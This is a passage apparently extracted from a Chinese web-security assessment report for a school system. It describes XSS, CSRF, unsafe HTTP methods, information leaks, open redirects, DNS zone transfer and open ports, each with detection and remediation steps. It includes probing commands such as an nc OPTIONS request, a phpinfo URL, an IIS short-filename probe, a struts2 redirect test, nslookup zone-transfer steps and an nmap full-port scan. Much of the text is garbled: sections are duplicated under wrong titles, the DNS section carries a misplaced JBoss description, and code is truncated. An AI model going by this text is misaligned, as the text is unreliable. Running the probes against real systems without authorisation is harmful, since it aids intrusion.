的原因是网站将用户输入的内容输出到页面上，在这个过程中可能有恶意代码被浏览器执行。跨站脚本攻击 , 它指的是恶意攻击者往 Web页面里插入恶意 html 代码，当用户浏览该页之时，嵌入其中 Web里面的 html 代码会被执行，从而达到恶意用户的特殊目的。xss属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。而本文主要讲的是利用 XSS得到目标服务器的 shell 。技术虽然是老技术，但是其思路希望对大家有帮助。已知的跨站脚本攻击漏洞有三种：

1）存储式；

2）反射式；

3）基于 DOM。

检测条件 1、 存储型跨站脚本攻击涉及的功能点：用户输入的文本信息保存到数据库中，并能够在页面展示的功能点，例如用户留言、发送站内消息、个人信息修改等功能点。

2、 反射型跨站脚本攻击涉及的功能点： URL参数需要在页面显示的功能点都可能存在反射型跨站脚本攻击，例如站内搜索、查询功能点。

3、 基于 DOM跨站脚本攻击涉及的功能点：涉及 DOM对象的页面程序，包括（不限这些）：

document.

URLUnencoded document.

location er

on

1、 Web业务运行正常

2、 已知待测目标 URL，假设为 /

3、 待测目标存在参数输入，或者以 POST方式提交参数，显示为表单方式，假设为

检测方法 name=value。

4、 在某种情况下， 用户输入被重新显示在网页上， 包括名字、 帐号、检索结果等等 （说

明目标网站服务器并没有对用户提交数据检测）。

4、 GET方式跨站脚本：

1. 对重要的cookie设置httpOnly, 防止客户端通过读取cookie。

2. 对用户输入的数据进行字符实体编码。

修复方案

3. 过滤不合法的输入，设置黑/白名单，对于每一个输入，在客户端和服务器端还要进行各种验证，验证是否合法字符，长度是否合法，格式是否正确，从而保证安全性，如移除用户上传的DOM属性，如onerror，移除用户上传的Style节点，iframe, script节点等。

4.

在数据输入前，应对潜在的危险字符进行编码、转义。

其他说明

5.1.2 跨站请求伪造（ CSRF）

漏洞名称 跨站请求伪造（ CSRF）

跨站请求伪造攻击， Cross-Site Request Forgery （ CSRF），攻击者在用户浏览网

页时，利用页面元素（例如 img的 src ），强迫受害者的浏览器向 Web应用服务器发送一个改变用户信息的 HTTP请求。 CSRF攻击可以从站外和站内发起。从站内发起CSRF攻击需要利用网站本身的业务，比如“自定义头像”功能，漏洞描述

恶意用户指定自己的头像URL是一个修改用户信息的链接， 当其他已登录用户浏览恶意用户头像时，会自动向这个链接发送修改信息请求。 从站外发送请求， 则需要恶意用户在自己的服务器上，放一个自动提交修改个人信息的 htm页面，并把页面地址发给受害者用户，受害者用户打开时，会发起一个请求。 威胁描述： 攻击者使用 CSRF攻击能够强迫用户向服务器发送请求，导致用户信息被迫修改， 甚至可引发蠕虫攻击。 如果恶意用户能够知道网站管理后台某项功能的 URL，就可以直接攻击管理员，强迫管理员执行恶意用户定义的操作。

检测条件

1、 Web业务运行正常

2、 存在数据提交的所有功能点。

1、 检测方式多种多样：工具常常会扫描得到CSRF的漏洞， 但是一般常常为误报， 重点还是依靠手工来进行检测，以下来举例说明其中一种检测以及攻击方案：1、 设置页面 中，页面中有一个表单，和一段脚本，脚本的作用是，当页面加载时，浏览器会自动提交请求。页面代码如下

检测方法

mentById("modify").submit();

2、 诱使用户在登录目标系统后执行 URL链接 /

3、 用户打开 后，会自动提交表单，发送给 下的那个存在

CSRF漏洞的 web应用，用户信息被篡改

4、 在整个攻击过程中，受害者用户仅仅看到了一个空白页面（可以伪造成其他无关页面），并且一直不知道自己的信息已经被修改了

修复方案如下：

1、 通过 referer 判断页面来源进行 CSRF防护，该方式无法防止站内 CSRF攻击及 referer

字段伪造。

2、 重要功能点使用动态验证码进行 CSRF防护。

3、 通过 token 方式进行 CSRF防护：

1、 在 Session 中绑定 token 。如果不能保存到服务器端 Session 中，则可以

替代为保存到 Cookie 里。

2、 在 form 表 单 中 自 动 填 入 token 字 段 ， 比 如

修复方案 name="anti_csrf_token" value="$token" /> 。

3、 在 HTTP请求中自动添加 token 。

在服务器端对比 POST提交参数的 token 与Session 中绑定的 token 是否一致，以验证 CSRF攻击

3、 为每个 session 创建唯一的随机字符串，并在受理请求时验证：

// 判断客户端提交的随机字符串是否正确

String randomStr = (String)ameter("randomStr");

if(randomStr == null) randomStr="";

if((sion().getAttribute("randomStr"))) {// 处理请求 }

else{

// 跨站请求攻击，注销会话

}

其他说明

5.1.3 不安全的 HTTP方法

漏洞名称 不安全的 HTTP方法、危险的 HTTP方法

不安全的 HTTP方法、危险的 HTTP方法器收到的请求，主要用于测试或诊断，恶意攻击者可以利用该方法进行跨站跟踪攻击（即XST攻击），从而进行网站钓鱼、盗取管理员 cookie 等。 其他说明方式如图所示：

漏洞描述

检测条件

1、 已知 Web网站 IP地址及 Web访问端口

2、 Web业务正常运行

1、 点击“开始”－“运行”，输入 cmd并回车，运行

2、 输入 –nvv IP 端口 （其中IP和端口按实际情况填写，用空格隔开）

3、 回车

4、 在新行中输入如下一行，并回车

OPTIONS / HTTP/1.1

5、观察返回结果中的 Allow 的方法列表

返回结果样例：

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-Powered-By: Servlet 2.4; (build:CVSTag=Branch_4_0 date=2)/Tomcat-5.5

Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS Content-Length: 0

检测方法

Date: Mon, 29 Jun 2009 08:02:47 GMT

Connection: close

如果返回结果中包含不安全的 HTTP方法（ DELETE、PUT、TRACE、MOVE、COPY），则验证这些防范是否可用 .

4、 如果方法可用则说明存在漏洞，如图所示为检测到的 trace 方法

在web应用中的加上如下内容

修复方案

disp

/*

PUT

DELETE

HEAD

OPTIONS

TRACE

PATCH

/huaquan520/article/details/81359295?utm_medium=_-task-其他说明 l_param&depth_1-utm_source=_l_param

xxx及下属学校2020年第二季度网站应用层检测报告

6. 信息泄漏类

泄露出的敏感信息包括但不限于：数据库连接地址、帐号和口令等信息、服务器系统信息、Web服务器软件名称、版本、Web网站路径、除 html 之外的源代码、业务敏感数据等。

6.1.1 目录浏览

漏洞名称 目录浏览，网站目录可列， index of 遍历

目录浏览漏洞是由于网站存在配置缺陷， 存在目录可浏览漏洞， 这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以更容易得到网站权限，导致网站被黑。 风险：攻击者通过访问网站漏洞描述 某一目录时，该目录没有默认首页文件或没有正确设置默认首页文件， 将会把整个目录结构列出来， 将网站结构完全暴露给攻击者； 攻击者可能通过浏览目录结构， 访问到某些隐秘文件 （如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等）。

检测条件

1、 Web业务运行正常

2、 已知目标网站的域名或 IP地址

1、 可以利用 web漏洞扫描器扫描 web应用进行检测，也可通过搜索，网站标题包含“ index of ”关键词的网站进行访问。

目前存在该漏洞的常见中间件为 apache和 IIS, 一下列出其相关的修复方式：

1、 IIS 中关闭目录浏览功能： 在IIS 的网站属性中， 勾去“目录浏览” 选项，重启 IIS 。

修复方案

2、 Apache中关闭目录浏览功能：打开 Apache配置文件 ，查找“ Options Indexes FollowSymLinks ”，修改为“ Options -Indexes ”( 减号表示取消，保存退出，重启 Apache。

3、 Nginx 中默认不会开启目录浏览功能，若您发现当前已开启该功能，可以编辑 文件，删除如下两行：

autoindex on;autoindex_exact_size on; 重启 Nginx。

其他说明

检测方法

6.1.2 Web服务器控制台地址泄漏

漏洞名称 目录浏览，网站目录可列， index of 遍历

目录浏览漏洞是由于网站存在配置缺陷， 存在目录可浏览漏洞， 这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以更容

漏洞描述

易得到网站权限，导致网站被黑。 风险：攻击者通过访问网站某一目录时，该目录

没有默认首页文件或没有正确设置默认首页文件， 将会把整个目录结构列出来， 将网站结构完全暴露给攻击者； 攻击者可能通过浏览目录结构， 访问到某些隐秘文件 （如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等）。

检测条件

1、 Web业务运行正常

2、 已知目标网站的域名或 IP地址

1、 可以利用 web漏洞扫描器扫描 web应用进行检测，也可通过搜索，网站标题包含“ index of ”关键词的网站进行访问。

目前存在该漏洞的常见中间件为 apache和 IIS, 一下列出其相关的修复方式：1、 IIS 中关闭目录浏览功能： 在IIS 的网站属性中， 勾去“目录浏览” 选项，重启 IIS 。 2、 Apache中关闭目录浏览功能：打开 Apache配置文修复方案

件 ，查找“ Options

Indexes FollowSymLinks ”，修改为“ Options -Indexes ”( 减号表示取消，保存退出，重启 Apache。

3、 Nginx 中默认不会开启目录浏览功能，若您发现当前已开启该功能，可以编辑 文件，删除如下两行：

autoindex on;autoindex_exact_size on; 重启 Nginx。

其他说明 /wutianxu123/article/details/82806698

检测方法

6.1.3 PHPInfo() 信息泄漏

漏洞名称 PHPInfo信息泄漏、 phpinfo() 函数信息泄漏

phpinfo() 函数返回的信息中包含了服务器的配置信息，包括：

1）PHP编译选项以及文件扩展名的相关信息；

漏洞描述 2）php的版本信息

3 ）php的配置信息；

4）数据库信息；等敏感信息。这些敏感信息会帮助攻击者展开进一步的攻击。

检测条件 1、 被测网站 web服务正常

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

2、 采用 PHP中间件架构的网站。

1、 如果网站存在该漏洞，则通常通过 web扫描工具进行扫描可得到链接。

检测方法 2、 手工构造网站url类似 127.0.0.1/?cmd=phpinfo();

或者127.0.0.1/ 直接访问：

建议限制此类脚本的访问权限或者删除对phpinfo() 函数的调用：修改 配 置 项 ， 把 “ phpinfo ” 添 加

修复方案 到 清 单 中 ：文 件 中 的 disable_functions disable_functions=phpinfo

备注：如果要禁用多个函数，函数名之间用逗号隔开

其他说明

6.1.4 POODLE 信息泄露漏洞

漏洞名称 POODLE信息泄露漏洞

由于 SSL 3.0 使用的 CBC块加密的实现存在漏洞，攻击者可以成功破解 SSL连接的加密信息，比如获取用户 cookie

数据。这种攻击被称为 POODL攻击 (Padding Oracle On Downgraded Legacy Encryption) 。此漏洞影响绝大多数 SSL漏洞描述

服务器和客户端，影响范围广泛。但攻击者如要利用成功，需要能够控制客户端和服务器之间的数据 ( 执行中间人攻击 ) 。简单来说： Poodle 攻击的原理，就是黑客故意制造安全协议连接失败的

情况，触发浏览器的降级使用 SSL 3.0 ，然后使用特殊的手段，从 SSL 3.0 覆盖的安全连接下提取到一定字节长度的隐私信息。

检测条件

1、 被测网站 web服务正常

2、 网站采用了 SSLV3.0协议。

通 过 绿 盟 科 技 客 户 自 助 门 户 系 统 进 行 检 测 ，

参 考 链 接/vulnerability/list/ ，找到对应的漏洞检测模块，输入相关信息，进行检测，如图所示：

检测方法

建议您手动关闭客户端 SSLv3支持；或者关闭服务器 SSLv3支持； 或者两者全部关闭，即可有效防范 Poodle 漏洞对您造成的影响。常见修复方案如下：目前常

用浏览器只有 IE 6.0 仍然不支持 TLS 1.0 ，禁用 SSL 3.0 协议将影响 IE 6客户的 SSL访问。服务端禁用方法：

1、Apache 2.x: 在 mod_ssl 配 置 文 件 中 使 用 如 下 命 令 禁 用 SSLv2和 SSLv3：SSLProtocol All -SSLv2

-SSLv3 ，重启 Apache。

2、 Nginx: 在配置文件中使用： ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 重启 Nginx 3、 IIS: 查 找 如 下 注 册

修复方案

表 项 ：HKey_Local_MachineSystemCurrentControlSetControlSecurityProviders

SCHANNELProtocols 该注册表项通常包含以下子项：为此，请在协议 SSL 3.0 的服务器子项中创一个新的 DWORD值。将 DWORD值设置为“ 00 00 00 00 ”。

4、 浏览器禁用方法： IE:" 工具 " -> "Internet 选项 " -> " 高级 " ，取消 " 使用 SSL 3.0" 的复选框。

5、 Chrome:复制一个平时打开 Chrome 浏览器的快捷方式，在新的快捷方式上右键

点 击 ， 进 入 属 性 ， 在 " 目 标 " 后 面 的 空 格 中 字 段 的 末 尾 输 入 以 下 命 令

--ssl-version-min=tls1

6、 FireFox: 在地址栏输入 "about:config" ，然后将 调至 1 。

其他说明

6.1.1 SVN信息泄露

漏洞名称

漏洞描述

SVN信息泄露、版本管理工具文件信息泄漏

SVN信息泄露、版本管理工具文件信息泄漏

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

据介绍， SVN（ subversion ）是程序员常用的源代码版本管理软件。一旦网站出现SVN漏洞，其危害远比 SQL注入等其它常见网站漏洞更为致命，因为黑客获取到网站源代码后，一方面是掠夺了网站的技术知识资产，另一方面，黑客还可通过源代码分析其它安全漏洞，从而对网站服务器及用户数据造成持续威胁。更严重的问题在于，SVN产生的 .svn 目录下还包含了以 .svn-base 结尾的源代码文件副本 （低版本 SVN具体路径为text-base 目录，高版本

SVN为pristine 目录），如果服务器没有对此类后缀做解析，黑客则可以直接获得文件源代码。

检测条件 1、 被测网站采用 SVN（ subversion ）源代码版本管理软件。

1、 被测网站采用 SVN（ subversion ）源代码版本管理软件。看是否成功，也可以自行构造，根据显示的主目录去检测方法 逐级访问并遍历相关的目录和文件。

2、 利用 web漏洞扫描工具进行检测。

删除SVN各目录下的 .svn 目录；删除 CVS的CVS目录。或者对 URL中进行过滤，过滤相关 svn等相关敏感字符：

修复方案

location ~ ^(.*).svn {

return 404;

}

其他说明

6.1.2 备份文件泄漏

漏洞名称 备份文件泄漏

备份文件泄露，在 web服务中，尝尝不局限于网站的源代码泄露，网站的数据库备份文件，以及上传的敏感文件，或漏洞描述 者一切正常备份，原则不允许访问的文件可被通过访问web路径进行下载得到， 造成其信息泄露。 有效的帮助攻击者理解网站应用逻辑，为展开其他类型的攻击提供 有利信息，降低攻击的难度，可以进一步获取其他敏感数据。

检测条件

1、 Web业务运行正常。

2、 存在可通过构造路径，将备份文件下载出来。

1、 常见检测方法是通过对网站进行 web漏洞扫描，直接利用爬虫来爬取网站可能存

检测方法

在的路径以及链接，如果存在备份文件，则可通过 web直接进行下载。

2、 也可以通过自行构造字典，对网站某一目录下，指定字典进行爆破，常见的扫描工具有 wwwscan、御剑后台扫描工具等。

1、 网站管理员严格检查 web中可访问的路径下是否存在备份文件，常见备份文件后缀修复方案

为 . 、.bak 、.sql 、.txt 、等等。如果有这些文件，直接将该备份文件进行转移到其他目录或者直接删除即可。

2、 严格控制可网站可访问目录下的文件敏感度的存放问题，不要将敏感文件置于该目录。

其他说明

6.1.3 内网 IP 地址泄漏

漏洞名称

漏洞描述

检测条件

内网 IP 地址泄漏

网站的内部 IP地址，常常被攻击者通过信息收集，得到其内网的 IP地址，对于渗透攻击，打下良好基础，如内网 Ip

地址段， IP路由等等。常见的泄露内网 IP 的web容器有IIS 。

1、 Web业务运行正常

1、 可通过 web漏洞扫描工具进行扫描，可能会得到内部IP地址。

检测方法 2、 可以通过手工查看网站中网页的源代码，以及查看源代码注释等， 或者通过数据传输中截断，查看其回显信息中，是否包含内网IP地址。如果包含，则认为存的在该漏洞。

1、 建议开发人员不要在源代码中注释中包含有内网 IP。

2、 删除携带内网 IP地址的页面， 并制定完善的安全编码策略， 并且及时检查存在的

页面代码是否包含内部 IP地址问题。

3、 加强编程人员良好的安全编码意识， 系统地学习安全编码的知识， 减少源代码泄

露的风险。

修复方案 4、 建立起良好的代码审核、 审查体系， 由专人负责代码的审计， 增加安全监督环节。 5、 合理配置 WEB服务器，禁止在数据交互中，传输内网 IP地址。

6、 对于 IIS 服务器中的泄露内网 IP地址的漏洞修复方法：

输入 CMD进入命令提示符，输入“ adsutil set w3svc/UseHostName True net stopiisadmin /y net start w3svc

。这样就可以让 IIS 使用主机名而不是主机IP ，这样即时是有人利用漏洞也只是看到主机名而不是主机从而防止内部 IP 地址泄的 IP地址露。

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

其他说明

6.1.4 Cookie 信息泄露

漏洞名称 Cookie信息泄露、 Cookie 安全性漏洞、 Cookie 未设置 httponly 属性

cookie 的属性设置不当可能会造成系统用户安全隐患， Cookie 信息泄露是 Cookie http only 配置缺陷引起的，在设置 Cookie 时，可以设置的一个属性，如果 Cookie 没有设置这个属性，该 Cookie 值可以被页面脚本读取。例如：当攻击者发现一个 XSS漏洞时，通常会写一段页面脚本，窃取用户的Cookie ，如果未设置 http only 属性，则可能导致用户 Cookie 信息泄露， 攻击者能够利用该用户的身份进行系统资源访问及操作。如图是设置了 cookies 属性和没有设置属性，被XSS跨站截获的 cookies 对比：设置了 httponly 属性：

漏洞描述

未设置 httponly 属性：

检测条件

检测方法

1、 已知 Web网站具有登录页面。

1、 通过用 web扫描工具进行对网站的扫描， 如果存在相关 cookies 的安全性问题， 则一般工具都会检测出来，误报率小。

建议如果网站基于 cookie 而非服务器端的验证，请最好加上 HttpOnly ，当然，目前这个属性还不属于任何一个标准， 也不是所有的浏览器支持， 建议设置 cookie 的代码：

修复方案 der("SET-COOKIE",

"user=" + ameter("cookie") + "; HttpOnly");

本段代码设置了 http only 属性，攻击者无法获取用户 Cookie 信息。

其他说明

6.1.5 异常信息泄露（应用程序错误）

未自定义统一错误页面导致信息泄露，抛出异常信息泄露，错误详情信息泄漏

AWVS漏洞名称如下：

漏洞名称 Application error message

Error message on page

error message

漏洞描述

检测条件

检测方法

修复方案

其他说明

JBOSS默认配置会有一个后台漏洞，漏洞发生在ment 命名空间，中的 addURL()函数 ,该函数可以远程下载一个 war压缩包并解压。 如果压缩包里含有 webshell 文件，是直接可以解析的。

1、 被测网站 web业务正常运行

2、 或者通过手工，去尝试打开一些不存在的网站路径，或者文件，以及在url 中输入一些敏感的字符，看其页面是否会抛出异常或者报错，导致错误消息中包含一些网站架构，版本，等敏感信息。

/weixin_39934520/article/details/107381920

/weixin_39934520/article/details/107381920

6.1.6 敏感信息泄露

漏洞名称 敏感信息泄露

敏感数据包括但不限于：口令、密钥、证书、会话标识、License 、隐私数据（如短消息的内容）、授权凭据、个人漏洞描述 数据（如姓名、住址、电话等）等，在程序文件、配

置文件、日志文件、备份文件及数据库中都有可能包含敏感数据。

检测条件 1、 Web业务运行正常。

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

2、 Web中存储敏感的数据信息。

检测方法

1、 检测形式多样，工具爬虫扫描得到敏感文件的路径，从而找到敏感数据，

2、 手工挖掘，根据 web容器或者网页源代码的查看，找到敏感信息。

1、 禁止在代码中存储敏感数据： 禁止在代码中存储如数据库连接字符串、 口令和密

钥之类的敏感数据， 这样容易导致泄密。 用于加密密钥的密钥可以硬编码在代码

中。

2、 禁止密钥或帐号的口令以明文形式存储在数据库或者文件中： 密钥或帐号的口令必须经过加密存储。例外情况，如果 Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令， 那么就不用强制遵循该规则， 将该配置文件的属性改为只有属主可读写。

修复方案

3、 禁止在 cookie 中以明文形式存储敏感数据： cookie 信息容易被窃取， 尽量不要在 cookie 中存储敏感数据；

如果条件限制必须使用 cookie 存储敏感信息时， 必须先对敏感信息加密再存储到 cookie 。

4、 禁止在隐藏域中存放明文形式的敏感数据。

5、 禁止用自己开发的加密算法，必须使用公开、安全的标准加密算法。

6、 禁止在日志中记录明文的敏感数据： 禁止在日志中记录明文的敏感数据 （如口令、

会话标识 jsessionid 等）， 防止敏感信息泄漏。

7、 禁止带有敏感数据的 Web页面缓存： 带有敏感数据的 Web页面都应该禁止缓存， 以防止敏感信息泄漏或通过代理服务器上网的用户数据互窜问题。

其他说明

6.1.7 IIS 短文件名泄露

漏洞名称

漏洞描述

检测条件

IIS 短文件名泄露

Microsoft IIS 在实现上存在文件枚举漏洞，攻击者可利用此漏洞枚举网络服务器根目录中的文件 ,

1、 被测网站使用了 。

2、 被测网站有未自定义统一错误页面的漏洞。

1、 检测第一步，输入域名 :9084 /*~1*/,回显如下：

检测方法

2、 检测第二步，输入域名 :9084

安全修复方案：

方案 1、修改注册列表，并清除已创建的短文件名

①关闭操作系统 NTFS 8.3 文件格式的支持。 以管理员身份运行 fsutil behavior set disable8dot3 1 ， 即修改注册列表：

修复方案

HKLMSYSTEMCurrentControlSetControlFileSystemNtfsDisable8dot3NameC reation 的值为 1，该操作在重启操作系统后生效。②将 WEB站点根目录及虚拟目录移动到其他分区后再移回，此操作可以将生成的短文件名清除。

注：①只能禁止 NTFS8.3格式文件名创建 , 已经存在的文件的短文件名无法移除。该修改不能完全修复 , 只是禁止创建，故需要再进行②操作。

方案 2、如果你的 web环境不需要 的支持你可以进入 Internet 信息服务(IIS) 管理器 --- Web 服务扩展

- 选择禁止此功能。（推荐）

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

方案 3、升级 net framework 至 4.0 以上版本 . （推荐）

其他说明 其中方案 2和3才能将该漏洞彻底修复。

6.1.8 Robots 文件信息泄露

漏洞名称

Robots 文件信息泄露

搜索引擎可以通过 robots 文件可以获知哪些页面可以爬取，哪些页面不可以爬取。 Robots 协议是网站国际互联网界通行的道德规范，其目的是保护网站数据和敏感信息、确保用户个人信息和隐私不被侵犯，如果 文件编辑的太过详细，反而会泄露网站的敏感目录或者文件，比如网站后台路径，从而得知其使用的系统类型，从而有针对性地进行利用。

漏洞描述

检测条件

1、 Web业务运行正常。

2、 Web中存储敏感的 robots 文件。

1、 检测形式多样，工具爬虫扫描得到敏感文件的路径，从而找到robots 文件，

2、 手工挖掘，直接在域名后输入 / 进行查看。

1、 User-agent: *这里的 * 代表的所有的搜索引擎种类， *是一个通配符

2、 Disallow: /这里定义是禁止爬寻站点所有的内容

3、 Disallow: /admin/ 这里定义是禁止爬寻 admin目录下面的目录

4、 Disallow: /ABC/ 这里定义是禁止爬寻 ABC目录下面的目录

5、 Disallow: /cgi-bin/*.htm禁止访问 /cgi-bin/ 目录下的所有以 ".htm" 为后缀的 URL(包含子目录 ) 。

6、 Disallow: /*?* 禁止访问网站中所有包含问号 (?) 的网址

检测方法

修复方案 7、 Disallow: /.jpg$ 禁止抓取网页所有的 .jpg 格式的图片

8、 Disallow:/ab/ 禁止爬取 ab文件夹下面的 文件。

9、 Allow: /cgi-bin/这里定义是允许爬寻 cgi-bin 目录下面的目录

10、 Allow: /tmp 这里定义是允许爬寻 tmp的整个目录

11、 Allow: .htm$仅允许访问以 ".htm" 为后缀的 URL。

12、 Allow: .gif$允许抓取网页和 gif 格式图片

13、 Sitemap: 网站地图 告诉爬虫这个页面是网站地图。

其他说明

7. 其他

7.1.1 跨域访问漏洞

漏洞名称

漏洞描述

flash 跨域漏洞、跨域访问漏洞

不正确的 策略将导致严重的安全问题，如信息泄露、CSRF等，如下几种是跨域漏洞所产生的常见几种不正确设置：

1：permitted-cross-domain-policies 为all 造成加载目标域上的任何文件作为跨域策略文件，甚至是一 个 JPG也可被加载为策略文件。

检测条件 2：allow-access-from 设为“ *”任何的域，有权限通过 flash 读取本域中的内容，表示匹配所有域和所有 IP 地址，此时任何域均可跨域访问本域上的内容。

3：allow-http-request-headers-from header设个“ *”允许发送任何消息头。

检测方法

1、 已知 Web网站外泄 文件。

2、

1、打开网站并且进行信息收集。

2、 手工或者利用 web扫描工具，找到 文件，查看其配置。如果出现如下配置，则说明存在该漏洞。

修复方案

修改 文件，使其内容保持如下设置：

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

1、 allow-access-from 标签的 domain属性检测： domain属性应根据最小化原则按需设置，仅允许可信任的来源跨域请求本域内容。禁止将该属性值设置为“ *”。

2、 allow-http-request-headers-from标签的 domain属性检测： domain属性应根据最小化原则按需设置， 仅允许可信任的来源向本域跨域发送内容。禁止将该属性值设置为“ *”。

3、 site-control 标签的 permitted-cross-domain-policies属性检测：根据业务的实际需求及可行性，对该属性做相应设置。禁止将该属性值设置为“all ”。

其他说明

7.1.2 URL重定向

漏洞名称 URL重定向、跳转漏洞

服务端未对传入的跳转 url 变量进行检查和控制， 可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞般用于钓鱼攻击， 通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息，或欺骗用户进行金钱交易；也可能引发的XSS漏洞（主要是跳转常常使用 302跳转，漏洞描述 即设置 HTTP响应头，Locatioin: url，如果 url 包含了 CRLF，则可能隔断了 http 响应头，使得后面部分落到了

httpbody，从而导致 xss 漏洞）。另外在 struts2 中存在重定向的漏洞，是因为 struts2 由于缩写的导航和重定向前缀“ action: ”、 “ redirect: ”、 “ redirectAction: ” 等参数前缀的内容没有被正确过滤导致的开放式重定向漏洞。

检测条件 1、已知 Web网站具有登录页面。

1、 首先找到网站相关 url 中存在跳转链接的参数（常见的有登陆页面）。

2、 在检测的同时，可以修改参数中的合法 URL为非法 URL，然后查看是否能正常跳转或者通过抓包工具获取其 HTTP响应头中 host: 的值是否包含了任意的构造URL。后 添 加 ?redirect:+ 指 定 钓 鱼 链 接，例如：10.1.82.53:9098/admin/?redirect: 进行验证，或者：

3、 host/struts2-blank/example/?action:%25{3*4} 如图所示， 则证明存在

4、 URL重定向漏洞：阿三大

检测方法

5、 如果是 struts2 重定向漏洞，则可通过 web扫描工具扫描发现，或者手工验证，直接在URL

若跳转的 URL事先是可以确定的，包括 url 和参数的值，则可以在后台先配置好，只需传对应 url 的索引即可，通过索引找到对应具体 url 再进行跳转；

若跳转的 URL事先不确定，但其输入是由后台生成的（不是用户通过参数传人），则可以先生成好跳转链接然后进行签名，而跳转cg首先需要进行验证签名通过才能进行跳转；

若1和2都不满足， url 事先无法确定，只能通过前端参数传入，则必须在跳转的时候对url进行按规则校验： 即控制 url 是否是公司授权的白名单或者是符合公司规则的url ，参考代码： function checkURL ( sURL) {

function checkURL ( sURL) {

return

修复方案 (/^(https?:)?[w-.]+.(yourDomainA|yourDomainB|yourDomainC).com($||)/i).test

(sUrl)||(/^[w][w.-_%]+$/i).test(sUrl)||(/^[][^]/i).test(sU

rl) ? true : false;

}

4、 通过对 referer 的限制： 如果确定传递 URL参数进入的来源，我们可以通过该方式实现安全限制，保证该 URL的有效性，避免恶意用户自己生成跳转链接；

5、 加入有效性验证 Token：我们保证所有生成的链接都是来自于我们可信域的，通过在生成的链接里加入用户不可控的 Token对生成的链接进行校验，可以避免用户生成自己的恶意

链接从而被利用，在跳转时做判断，指定跳转的值。当用户访问需要跳转 URL的页面时，生成随机 token ，并保存版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

到 Cookie 中，后台应用程序在跳转前，判断 token 是否和 cookie 中的token 一致。

6、 理论上讲， url 跳转属于 CSRF的一种， 跳转 url 检测中也加入了 CRLF头部注入漏洞的检测逻辑, 具体就是在请求参数中加入了 %0d%0a这种测试代码，需要对这些参数进行删除处理(事实上：在判断到一个参数中包含 %00

-> %1f 的控制字符时都是不合法的，需对其进行删除 ) 。

7、 如果为 struts2 重定向漏洞，则需要更新相关的 struts2 的版本到最新。

其他说明

7.1.3 DNS域传送漏洞

漏洞名称

漏洞描述

检测条件

DNS域传送漏洞， DNS区域传输

BOSS默认配置会有一个后台漏洞，漏洞发生在ment 命名空间，中的war压缩包并解压。 如果压缩包里含有addURL() 函数 , 该函数可以远程下载一个webshell 文件，是直接可以解析的。

1、 被测网站可正常访问。

其实利用方法分为手工和工具两种，我们可以利用BT5下面的工具 Dnsenum或者是其它工具，手工的话就利用

nslookup 即可

使用工具来获取 DNS信息

cd /pentest/enumeration/dns/dnsenum # ./ --enum 这样就可以简单的利用了。

3、 使用手工的方法，推荐。方法如下：

查看方法：

> set type=ns //现获取 ns记录

>

server //设置 ns

> set type=axfr //设置区域传输

检测方法

> ls -d

1、 Windows 界面禁止 DNS域传送漏洞方法：

1. 打开 DNS。

2. 使用鼠标右键单击一个 DNS 区域，然后单击“属性”。

3. 在“区域传输”选项卡，执行下列操作之一：

要禁用区域传输，请清除“允许区域传输”复选框。

要允许区域传输，请选中“允许区域传输”复选框。

4. 如果允许进行区域传输，请执行下列操作之一：

要允许向任何服务器进行区域传输，请单击“到所有服务器”。

修复方案

要只允许向“名称服务器” 选项卡上列出的 DNS 服务器进行区域传输

请单击“只有在名称服务器选项卡中列出的服务器”。 要只允许向特定 DNS服务器进行区域传输，请单击“只允许到下列服务器”，然后添加一个或多个 DNS 服务器的 IP 地址。

2、 Bind 9 界面禁止 DNS域传送漏洞方案：

关闭 BIND9对于 ls 命令功能，在 s 这样写，对于有 slave或者特殊需要的，用 ip 替换 none即可 allow-transfer { none; };

3、 如果你使用 bind 8，可以在“ ”文件（缺省路径是 /etc/ ）

的对某个域的域传输进行限制。

例如，您可以只允许自己本地主机以及某个可信主机 （比如辅助域名服务器）对 "" 域进行域传输：

zone "" {

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

allow-transfer { 192.168.1.4; localhost; };

};

注意：在修改完配置文件之后，需要重新启动 named。

4、 如果您使用的是 Windows DNS Server ，可以启动 DNS Manager，在Zone Properties

窗口中有一个 DNS SERVER的列表，选中 Only Allow Access From Secondaries Included on Notify List 复选项，服务器就会限制可以进行区域传送的服务器，只有 Notify List 中授权了的辅 DNS Server 才可以进行区域传送。

5、 设置 DNS安全策略：

1. 隔离DNS服务器，专机专用

2. 隐藏 BIND的版本号

3. 使用备份域名服务器

4. Chroot bind

5. 禁止区域传送

其他说明

7.1.4 Web服务器多余端口开放

漏洞名称

漏洞描述

Web服务器多余端口开放、开放多余端口、

Web应用服务器除业务端口外还会开放一些默认端口（如 Jboss 开放的 8083），这些默认端口对最终用户是不需要开放的，而且也不会用于维护，容易被攻击，本测试目的在于发现服务器上未使用的 Web端口。

1、 已知服务器具有开放 web服务。

2、 已知 Web服务器域名或 IP 地址，假设 IP 地址为 192.168.1.1

1、 安装 NMAP或者类似的端口扫描工具， 进行端口扫描， 以下为 nmap的dos命令操作：2、 打开命令提示符，切换到 nmap路径下 , 输入 cd /d d:nmap

3、 运 行 nmap – n – P0 – sS – sV – p1-65535 – oX scan_

检测方法 192.168.1.1

4、 使用浏览器打开 scan_

5、 观察结果，看是否为必须开放的 Web服务端口。

